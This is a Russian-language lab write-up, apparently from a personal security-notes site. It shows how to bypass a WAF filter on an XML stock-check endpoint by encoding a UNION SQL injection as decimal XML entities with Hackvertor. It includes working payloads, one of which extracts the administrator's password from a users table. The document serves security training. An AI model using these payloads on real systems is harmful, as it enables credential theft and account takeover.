> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md).

# Обход фильтра SQL-инъекции с XML-кодированием

### SQL-инъекция с обходом фильтра через XML-кодирование

В этом лабораторном задании в функции проверки наличия товара есть уязвимость SQL-инъекции. Результаты запроса возвращаются в ответе приложения; поэтому мы можем использовать `UNION` атаку для извлечения данных из других таблиц. / В базе данных есть `users` таблица, содержащая имена пользователей и пароли зарегистрированных пользователей. Чтобы решить задание, выполните атаку SQL-инъекции, чтобы получить идентификаторы пользователя admin, а затем войдите в его учетную запись.

Приведённые примеры:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId>2 union select 1</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/8c49427cb7f86adfb8a0e0711c551c2f33a7477d" alt=""><figcaption></figcaption></figure>

* Расширение Hackvertor — десятичные сущности

<figure><img src="/files/68710cb894ec62bbde95f0a7b29962000314f1db" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId><@dec_entities>2 union select 1</@dec_entities></storeId>
</stockCheck>

<@dec_entities>
2 union select password from users where username='administrator'
</@dec_entities>
```

{% endcode %}

<figure><img src="/files/1dfb72cbdca6c783670ff813fc34a093ae425263" alt=""><figcaption></figcaption></figure>


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